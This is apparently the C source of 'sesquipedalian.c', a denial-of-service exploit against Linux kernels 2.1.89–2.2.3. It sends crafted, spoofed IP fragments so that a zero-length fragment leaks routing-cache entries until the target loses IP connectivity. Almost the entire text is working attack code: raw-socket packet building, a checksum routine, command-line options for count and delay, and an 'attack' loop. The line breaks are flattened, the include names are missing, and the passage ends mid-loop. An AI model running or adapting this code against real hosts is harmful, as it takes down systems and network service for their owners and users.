/* * sesquipedalian.c - Demonstrates a DoS bug in Linux 2.1.89 - 2.2.3 * * by horizon * * This sends a series of IP fragments such that a 0 length fragment is first * in the fragment list. This causes a reference count on the cached routing * information for that packet's originator to be incremented one extra time. * This makes it impossible for the kernel to deallocate the destination entry * and remove it from the cache. * * If we send enough fragments such that there are at least 4096 stranded * dst cache entries, then the target machine will no longer be able to * allocate new cache entries, and IP communication will be effectively * disabled. You will need to set the delay such that packets are not being * dropped, and you will probably need to let the program run for a few * minutes to have the full effect. This was written for OpenBSD and Linux. * * Thanks to vacuum, colonwq, duke, rclocal, sygma, and antilove for testing. */ #include #include #include #include #include #include #include #include struct my_ip_header { unsigned char ip_hl: 4, /* header length */ ip_v: 4; /* version */ unsigned char ip_tos; /* type of service */ unsigned short ip_len; /* total length */ unsigned short ip_id; /* identification */ unsigned short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ unsigned char ip_ttl; /* time to live */ unsigned char ip_p; /* protocol */ unsigned short ip_sum; /* checksum */ unsigned long ip_src, ip_dst; /* source and dest address */ }; struct my_udp_header { unsigned short uh_sport; unsigned short uh_dport; unsigned short uh_ulen; unsigned short uh_sum; }; #define IHLEN (sizeof (struct my_ip_header)) #define UHLEN (sizeof (struct my_udp_header)) #ifdef __OpenBSD__ #define EXTRA 8 #else #define EXTRA 0 #endif unsigned short checksum(unsigned short *data,unsigned short length) { register long value; u_short i; for(i=0;i<(length>>1);i++) value+=data[i]; if((length&1)==1) value+=(data[i]<<8); value=(value&65535)+(value>>16); return(~value); } unsigned long resolve( char *hostname) { long result; struct hostent *hp; if ((result=inet_addr(hostname))==-1) { if ((hp=gethostbyname(hostname))==0) { fprintf(stderr,"Can't resolve target.\n"); exit(1); } bcopy(hp->h_addr,&result,4); } return result; } void usage(void) { fprintf(stderr,"usage: ./sqpd [-s sport] [-d dport] [-n count] [-u delay] source target\n"); exit(0); } void sendem(int s, unsigned long source, unsigned long dest, unsigned short sport, unsigned short dport) { static char buffer[8192]; struct my_ip_header *ip; struct my_udp_header *udp; struct sockaddr_in sa; bzero(&sa,sizeof(struct sockaddr_in)); sa.sin_family=AF_INET; sa.sin_port=htons(sport); sa.sin_addr.s_addr=dest; bzero(buffer,IHLEN+32); ip=(struct my_ip_header *)buffer; udp=(struct my_udp_header *)&(buffer[IHLEN]); ip->ip_v = 4; ip->ip_hl = IHLEN >>2; ip->ip_tos = 0; ip->ip_id = htons(random() & 0xFFFF); ip->ip_ttl = 142; ip->ip_p = IPPROTO_UDP; ip->ip_src = source; ip->ip_dst = dest; udp->uh_sport = htons(sport); udp->uh_dport = htons(dport); udp->uh_ulen = htons(64-UHLEN); udp->uh_sum = 0; /* Our first fragment will have an offset of 0, and be 32 bytes long. This gets added as the only element in the fragment list. */ ip->ip_len = htons(IHLEN+32); ip->ip_off = htons(IP_MF); ip->ip_sum = 0; ip->ip_sum = checksum((u_short *)buffer,IHLEN+32); if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); exit(1); } /* Our second fragment will have an offset of 0, and a 0 length. This gets added to the list before our previous fragment, making it first in line. */ ip->ip_len = htons(IHLEN); ip->ip_off = htons(IP_MF); ip->ip_sum = 0; ip->ip_sum = checksum((u_short *)buffer,IHLEN); if (sendto(s,buffer,IHLEN+EXTRA,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); exit(1); } /* Our third and final frag has an offset of 4 (32 bytes), and a length of 32 bytes. This passes our three frags up to ip_glue. */ ip->ip_len = htons(IHLEN+32); ip->ip_off = htons(32/8); ip->ip_sum = 0; ip->ip_sum = checksum((u_short *)buffer,IHLEN+32); if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); exit(1); } } int main(int argc, char **argv) { int sock; int on=1,i; unsigned long source, dest; unsigned short sport=53, dport=16384; int delay=20000, count=15000; if (argc<3) usage(); while ((i=getopt(argc,argv,"s:d:n:u:"))!=-1) { switch (i) { case 's': sport=atoi(optarg); break; case 'd': dport=atoi(optarg); break; case 'n': count=atoi(optarg); break; case 'u': delay=atoi(optarg); break; default: usage(); } } argc-=optind; argv+=optind; source=resolve(argv[0]); dest=resolve(argv[1]); srandom(time((time_t)0)*getpid()); if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } fprintf(stdout,"\nStarting attack on %s ...",argv[1]); for (i=0; i